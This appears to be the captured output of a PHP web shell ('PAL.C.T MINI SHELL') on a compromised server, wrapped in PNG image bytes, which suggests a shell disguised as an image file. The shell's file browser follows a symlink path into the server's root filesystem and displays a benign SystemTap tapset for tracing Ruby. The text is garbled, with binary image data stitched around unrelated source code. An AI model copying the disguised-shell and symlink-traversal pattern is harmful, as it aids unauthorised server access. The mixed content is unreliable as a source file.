php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/systemtap/tapset/
upload
files >> /var/www/html/sub/images/sym/root/usr/share/systemtap/tapset/libruby1.8.7-32.stp

/* Systemtap tapset to make it easier to trace Ruby */

/**
 * probe ruby.function.entry - Ruby method entry
 *
 * @classname: String containing class name
 * @methodname: String containing method name
 * @file: Source file of invoked method
 * @line: Line number of the method
 */
probe ruby.function.entry = 
      process("/usr/lib/libruby.so.1.8").mark("function__entry")
{
	classname  = user_string($arg1)
	methodname = user_string($arg2)
	file = user_string($arg3)
	line = $arg4
}

/**
 * probe ruby.function.return -Ruby method return
 *
 * @classname: String containing class name
 * @methodname: String containing method name
 * @file: Source file of invoked method
 * @line: Line number of the method
 */
probe ruby.function.return = 
      process("/usr/lib/libruby.so.1.8").mark("function__return")
{
	classname  = user_string($arg1)
	methodname = user_string($arg2)
	file = user_string($arg3)
	line = $arg4
}

/**
 * probe ruby.gc.begin - Start Ruby garbage collection
 *
 */
probe ruby.gc.begin =
      process("/usr/lib/libruby.so.1.8").mark("gc__begin")
{
}

/**
 * probe ruby.gc.end -  Finish Ruby garbage collection
 *
 */
probe ruby.gc.end = process("/usr/lib/libruby.so.1.8").mark("gc__end")
{
}

/**
 * probe ruby.line - Show location of executed statement
 *
 * @file: Source file of executed statement
 * @line: Line number of executed statement
 */
probe ruby.line =
      process("/usr/lib/libruby.so.1.8").mark("line")
{
	file = user_string($arg1)
	line = $arg2
}

/**
 * probe ruby.object.create.start - Object creation started
 *
 * @classname: Class being created
 * @file: Source file of new statement
 * @line: Line number of new statement
 */
probe ruby.object.create.start =
      process("/usr/lib/libruby.so.1.8").mark("object__create__start")
{
	classname  = user_string($arg1)
	file = user_string($arg2)
	line = $arg3
}

/**
 * probe ruby.object.create.done - Object creation completed
 *
 * @classname: Class being created
 * @file: Source file of new statement
 * @line: Line number of new statement
 */
probe ruby.object.create.done =
      process("/usr/lib/libruby.so.1.8").mark("object__create__done")
{
	classname  = user_string($arg1)
	file = user_string($arg2)
	line = $arg3
}

/**
 * probe ruby.object.free -
 *
 * @classname: Class of object being freed
 */
probe ruby.object.free =
      process("/usr/lib/libruby.so.1.8").mark("object__free")
{
	classname  = user_string($arg1)
}

/**
 * probe ruby.raise - Raise an exception
 *
 * @classname: Class of exception
 * @file: Source file where exception occurred
 * @line: Line number where exception occurred
 */
probe ruby.raise = process("/usr/lib/libruby.so.1.8").mark("raise")
{
	classname  = user_string($arg1)
	file = user_string($arg2)
	line = $arg3
}

/**
 * probe ruby.rescue - rescue clause handling an exception
 *
 * @file: Source file of rescue clause
 * @line: Line number of rescue clause
 */
probe ruby.rescue = process("/usr/lib/libruby.so.1.8").mark("rescue")
{
	file = user_string($arg1)
	line = $arg2
}

/**
 * probe ruby.ruby__probe - Ruby dynamic probe
 *
 * @probe_point: Name of the dynamic probe
 * @probe_data: Data string for dynamic probe
 */
probe ruby.ruby__probe =
      process("/usr/lib/libruby.so.1.8").mark("ruby__probe")
{
	probe_point = user_string($arg1)
	probe_data = user_string($arg2)
}
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`